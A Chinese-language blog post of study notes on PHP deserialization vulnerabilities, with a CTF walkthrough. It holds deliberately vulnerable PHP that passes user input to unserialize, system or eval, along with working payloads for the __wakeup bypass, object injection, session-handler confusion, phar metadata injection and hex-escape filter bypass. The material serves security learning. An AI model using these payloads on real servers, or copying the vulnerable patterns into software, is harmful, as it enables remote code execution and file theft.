PHP 反序列化漏洞入门学习笔记

参考文章:

PHP反序列化漏洞入门
easy_serialize_php wp
实战经验丨PHP反序列化漏洞总结
PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
利用 phar 拓展 php 反序列化漏洞攻击面

序列化和反序列化的概念

序列化就是将 对象、string、数组array、变量 转换成具有一定格式的字符串。
具体可以看 CTF PHP反序列化,下图摘自此篇文章

其实每个字符对应的含义都很好理解:

s ----      string 字符串
i ----      integer 整数
d ---       双精度型
b ----      boolean 布尔数
N ----      NULL 空值
O ----      Object 对象
a ----      array 数组
·············

其中较为重要的是 对象 的序列化与反序列化:
对象序列化后的字符串包括 属性名、属性值、属性类型、该对象对应的类名,注意并不包括类中的方法

  • 序列化:

将对象转化成字符串存储

其中:

序列化一个实例对象后:
O:4:"Test":3:{s:4:"name";s:6:"R0oKi3";s:6:"*age";s:16:"18岁余24个月";s:10:"Testmoto";s:6:"hehehe";}

O:4:"Test":3:               ---O 代表 对象,Test为其类名,占 4 个字符,并且有 3 个属性
{}                          ---大括号里面包含具体的属性
s:4:"name";s:6:"R0oKi3";    ---以分号分隔属性名和属性值,s 表示字符串,4、6 表示字符长度,name表示属性名,R0oKi3 表示属性值,后续一样,都是成对的

注意点:当访问控制修饰符(public、protected、private)不同时,序列化后的结果也不同
public          被序列化的时候属性名 不会更改
protected       被序列化的时候属性名 会变成  %00*%00属性名
private         被序列化的时候属性名 会变成  %00类名%00属性名

由于 %00 就是一个空字符,所以不会显示出来,不过为了显示效果,在菜鸟工具上可以明显看到不同
当提交 payload 的时候就需要将 %00 给加上后再提交

  • 反序列化:

反序列化则相反,其将字符串转化成对象

至于为什么要序列化:
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

  • serialize() 函数

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep() 方法会先被调用,然后才执行序列化操作。

  • unserialize() 函数

unserialize() 会检查是否存在一个 __wakeup() 魔术方法,成功地重新构造对象后,如果存在__wakeup() 成员函数则会调用 __wakeup()
但是当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过 __wakeup() 的执行,也就是 CVE-2016-7124,php 版本限制(PHP5 < 5.6.25、PHP7 < 7.0.10)。

由于会从字符串构造出对象,那么会不会调用 __construct() 构造函数?
例如如下测试代码:

<?php 
class Test{
	public $test;
	function __construct(){
		$this->test = '0默认内容<br>';
		echo $this->test;
	}
}
$a = new Test();
echo '1'.$a->test;
$a->test = '自定义内容<br>';
echo '2'.$a->test;

$x = serialize($a);

$y = unserialize($x);
echo '3'.$y->test;

 ?>

执行结果为:

0默认内容                        // $a = new Test(); 时执行 __construct() 构造函数
1默认内容                       // echo '1'.$a->test;
2自定义内容                     // echo '2'.$a->test;
3自定义内容                     // echo '3'.$y->test;

可以看到反序列化时,并没有调用 __construct() 构造函数。

__destruct()       析构函数,当对象被销毁或者程序退出时会自动调用
__toString()       用于一个类被当成字符串时触发
__invoke()         当尝试以调用函数的方式调用一个对象时触发
__call()           在对象上下文中调用不可访问的方法时触发 
__callStatic()     在静态上下文中调用不可访问的方法时触发 
__get()            用于从不可访问的属性读取数据
__set()            用于将数据写入不可访问的属性 
__isset()          在不可访问的属性上调用 isset() 或 empty() 触发 
__unset()          在不可访问的属性上使用 unset() 时触发 

通过例子理解反序列化漏洞

CVE-2016-7124

  • 介绍:
    调用 unserilize() 方法成功地重新构造对象后,如果 class 中存在 __wakeup 方法,前会调用 __wakeup 方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行
    php版本限制(PHP5 < 5.6.25、PHP7 < 7.0.10)

  • 测试代码:

<?php 
	class Test{
		public $cmd;
		function __wakeup(){
			$this->cmd = '';
		}
		function __destruct(){
			echo '<br>';
			system($this->cmd);
		}
	}

$test = $_GET['cmd'];
$test_n = unserialize($test);
 ?>

可以看到,当执行反序列化的时候,调用 __wakeup 方法会将 $cmd 参数置为空,在程序退出时执行 __destruct 方法时也就执行不了任何命令

  • 因此可以利用 CVE-2016-7124
    首先得到一个正常的序列化结果:
<?php 
	class Test{
		public $cmd;
		function __wakeup(){
			$this->cmd = '';
		}
		function __destruct(){
			echo '<br>';
			system($this->cmd);
		}
	}
$test = new Test();
$test->cmd = "whoami";
echo serialize($test);

结果:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}

然后构造对象属性个数的值大于真实的属性个数的 payload:
O:4:"Test":2:{s:3:"cmd";s:6:"whoami";}

  • 成功执行:

对象注入

参考文章:实战经验丨PHP反序列化漏洞总结

  • 参考代码:
<?php 
class A{
	var $target;
	function __construct(){
		$this->target = new B;
	}
	function __destruct(){
		$this->target->action();
	}
}

class B{
	function action(){
		echo "action B";
	}
}

class C{
	var $test;
	function action(){
		echo "action C";
		eval($this->test);
	}
}

unserialize($_GET['test']);
 ?>

class B 和class C 有一个同名方法 action,我们可以构造目标对象,使得析构函数调用 class C 的 action 方法,实现任意代码执行

  • 构造序列化字符串:
<?php 
class A{
	var $target;
	function __construct(){
		$this->target = new C;                     //这里将 B 换成 C
		$this->target->test = "whoami";            //初始化对象 $test 值
	}
	function __destruct(){
		$this->target->action();
	}
}
class C{
	var $test;
	function action(){
		eval($this->test);
	}
}
echo "\n\n\n\n";
echo serialize(new A());
?>
  • 运行得到 payload:可以看到,内部注入了一个 C 对象
    O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}

  • 执行

PHP 反序列化的对象逃逸

参考文章:easy_serialize_php wp
题目:easy_serialize_php

  • 打开题目看到源码
 <?php

$function = @$_GET['f'];      //获取 f 变量

function filter($img){                        //整个函数的作用就是通过正则替换参数中的特定字符为 空
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';       // $filter = "/php|/flag|php5|php4|fl1g/i"
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;      //给 $SESSION array增加初值

extract($_POST);            //将 POST 的值前加上 $ 符号,例如 a=123,处理后就变成了 $a=123

if(!$function){            //没有传参数 f 显示,也就是打开题目时的首页
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){      //将 $_SESSION['img'] base64 编码
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{                        //将 $_SESSION['img'] base64 编码后再哈希
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION)); // 将 $_SESSION array参数序列化后再调用 filter 过滤函数

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));//base64 解码后获取指定文件
} 
  • 首先可以看到提示我们传入 f=phpinfo ,打开后可以看到一个不太正常的东西

  • 直接访问为空,结合 file_get_contents 函数,便考虑能不能读取该文件

  • 看到这个判断

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

如果我们直接 get 传 img_path 参数,文件会被哈希,file_get_contents(base64_decode($userinfo['img'])); 函数在 base64 解码时便会出错,读不到我们指定的文件,不传呢我们又只能读到指定的 guest_img.png 文件

  • 既然题目给了 filter 函数,那么便肯定有用,而且可以看到,调用该函数是在 $_SESSION 被序列化之后,于是便可以考虑反序列化对象逃逸
    首先要知道一个特性:当指定一个 string 长度,而其值为空时,那么便会发生字符吞噬,无论后面的字符是什么
    例如:s:10:"";s:3:"123";,第一个 s 指定长度为10,而值为空,那么便会将后续字符吞掉,其中 ";s:3:"123 便会被吞噬,变成 s:10:"脑袋被吃了";

看到 payload:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

执行 serialize($_SESSION) 后:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:65:"a";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

经过 filter() 函数之后,关键字被剔除:

a:3:{s:4:"user";s:24:"";s:8:"function";s:65:"a";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

可以看到 s:24:""; ,这里便会发生吞噬,";s:8:"function";s:65:"a被吞噬后变成:

a:3:{s:4:"user";s:24:"被吞噬的 24 个字符";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

也就是 $serialize_info 参数最终的值

  • 看到这里:
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));

执行反序列化$serialize_info时,执行时只有 a:3:{s:4:"user";s:24:"被吞噬的 24 个字符";s:65:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";
会被当成有效字符,由此便发生了对象逃逸现象
$userinfo['img'] 的值就变成了 ZDBnM19mMWFnLnBocA== ,base64解码后变成了 d0g3_f1ag.php,也就成功将文件内容输出了

  • 执行

  • 查看网页源代码会发现

<?php
$flag = 'flag in /d0g3_fllllllag';
?>
  • 依葫芦画瓢
    构造 payload,获取/d0g3_fllllllag文件
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"test";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
  • 执行

session 反序列化

参考文章:
PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

  • session.serialize_handler="" 定义序列化和反序列化的处理器的名字,默认是php(5.5.4后改为php_serialize)
    测试代码:
<?php
ini_set('session.serialize_handler', '处理方法');
session_start();
$_SESSION['username'] = 'test';
?>
  • session.serialize_handler=php(默认)
    只对用户名的内容进行了序列化存储,没有对变量名进行序列化,可以看作是服务器对用户会话信息的半序列化存储过程。
    比如:传入数据 username=test,那么变成 session 后存储为 username|s:4:"test";

  • session.serialize_handler=php_serialize
    对整个session信息包括文件名、文件内容都进行了序列化处理,可以看作是服务器对用户会话信息的完全序列化存储过程。
    比如:传入数据 username=test,那么变成 session 后存储为 a:1{s:8:"username";s:4:"test";}

  • session.serialize_handler=php_binary
    键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值
    比如:传入数据 username=test,那么变成 session 后存储为 8 代表的 ascii 字符退格 usernames:4:"test";

  • 为什么会出现序列化漏洞?
    反序列化存储的 $_SEESION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的伪造,便可以伪造任意数据

  • 例如:
    在存储 $_SEESION 时处理方法为 php_serialize,传输的数据为 username=|O:4:"test":0:{},则最后存储为 a:1{s:8:"username";s:16:"|O:4:"test":0:{}"}
    而在取用 $_SESSION 时的处理方法为 php,此时键:a:1{s:8:"username";s:16:",值:O:4:"test":0:{},那么反序列话后便构造出了一个 test 对象。

下面的内容取自PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

  • session.auto_start
    指定会话模块是否在请求开始时启动一个会话,默认不启动

    • session.auto_start=On

    当配置选项 session.auto_start=On,会自动注册 Session 会话,因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的, 因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话,然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题,如下面的代码:
    //foo.php

    if (ini_get('session.auto_start')) {
    	session_destroy();
    }
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['ryat'] = $_GET['ryat'];
    

    当第一次访问该脚本,并提交数据如下:
    foo.php?ryat=|O:8:"stdClass":0:{}
    脚本会按照 php_serialize 处理器的序列化格式存储数据:
    a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
    当第二次访问该脚本时,PHP 会按照 php.ini 里设置的序列化处理器反序列化存储的数据,这时如果 php.ini 里设置的是 php 处理器的话,将会反序列化伪造的数据,成功实例化了 stdClass 对象
    这里需要注意的是,因为 PHP 自动注册 Session 会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。

    • session.auto_start=Off

    当配置选项 session.auto_start=Off,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,如下面的代码:
    //foo1.php

    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION['ryat'] = $_GET['ryat'];
    

    //foo2.php

    ini_set('session.serialize_handler', 'php');
    //or session.serialize_handler set to php in php.ini 
    session_start();
    class ryat {
    	var $hi;
    
    function __wakeup() {
    	echo 'hi';
    }
    function __destruct() {
    	echo $this->hi;
    }
    }
    

    当访问 foo1.php 时,提交数据如下:
    foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}
    脚本会按照 php_serialize 处理器的序列化格式存储数据,访问 foo2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 ryat 对象,并将会执行类中的 __wakeup 方法和 __destruct 方法

  • 还有一个有趣的点 ------ 没有$_SESSION变量赋值,通过上传文件构造反序列化漏洞
    文章:
    原理+实践掌握(PHP反序列化和Session反序列化)
    深入解析PHP中SESSION反序列化机制

  • 小例子:

1.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["username"]=$_GET["a"];
?>

2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Test{
 var $cmd;
 function __construct(){
 $this->cmd = 'phpinfo();';
 }
 
 function __destruct(){
  system($this->cmd);
 }
}
?>

首先我们访问 1.php,并传入?a=|O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
于是会在本地生成一个 session 文件,其内容为a:1:{s:8:"username";s:39:"|O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}";}
然后我们访问 2.php,执行了 session_start() 函数,于是便会将 session 文件内容取出进行反序列化,由于处理方法不同,导致了反序列化漏洞
构造了一个 Test() 对象,然后再给通过序列化字符串的内容给 $cmd 变量赋值 'whoami',此时 __construct() 方法并没有被调用

在程序结束时,调用了析构函数,也就执行了命令 whoami

phar:// 反序列化漏洞(对象注入)

函数
ìnclude(); fopen(); copy(); file();
file_get_contents(); file_put_contents(); file_exists(); md5_file();
unlink(); stat(); readfile();
is_dir(); is_file(); is_link(); is_executable();
is_readable(); is_writable(); is_writeable(); parse_ini_file();
filegroup(); fileinode(); fileowner(); fileperms();
filemtime(); fileatime(); filectime(); filesize();
exif_thumbnailexif_imagetype();
imageloadfontimagecreatefrom();
hash_hmac_filehash_filehash_update_filemd5_filesha1_file();
get_meta_tagsget_headers(); 
getimagesizegetimagesizefromstring();

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

  • 小例子

    • 漏洞存在的前提条件:
      能上传 phar 文件或者其他类型的文件到服务器
      有能解析并触发反序列化的函数,并且参数可控
      伪协议 phar:// 未被禁用

    • 存在漏洞的代码 phar.php:

    <?php
    $filename=$_GET['filename'];
    class AnyClass{
        var $output = 'echo "cck";';
        function __destruct()
        {
            eval($this->output);
        }
    }
    file_exists($filename);
    ?>
    
    • 创建 phar 文件,并注入对象,代码:make_phar.php:
      注意点:要将 php.ini 中的 phar.readonly 选项设置为 Off,否则无法生成 phar 文件
    class AnyClass {}            //需要构造的对象
    
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'text');
    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');              //这里可以绕过文件类型设置,既可以当成 gif 也可以当成 phar 文件,当然也可以设置其他头,也可以不设置
    $object = new AnyClass;
    $object->output = 'phpinfo();';                                    // 设置对象参数
    $phar->setMetadata($object);  //将对象存储(会自动将其序列化)
    $phar->stopBuffering();
    
    • 执行该代码会得到一个 phar 文件
    • 查看该文件具体内容
    • 上传到目标服务器访问存在漏洞的代码,并指定文件

利用 16 进制绕过过滤

  • 原理:
    将示意字符串的s改为大写S时,其值会解析 16 进制数据
    例如:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
    可改为:O:4:"Test":1:{S:3:"\63md";S:6:"\77hoami";}
  • 测试代码:
<?php 
class Test{
	public $cmd;
	function __destruct(){
		echo '<br>';
		system($this->cmd);
	}
}
function check($data){
    if(stristr($data, 'cmd')!==False){
        echo("想换我CMD,没这个可能!");
    }
    else{
        return $data;
    }
}

$test = $_GET['cmd'];
$test = check($test);
$test_n = unserialize($test);
 ?>

当传入O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}时,可以发现无法绕过过滤函数

修改为大写S时,可以看到成功 RCE

posted @ 2020-07-14 16:37  1ndex-  阅读(1531)  评论(0编辑  收藏  举报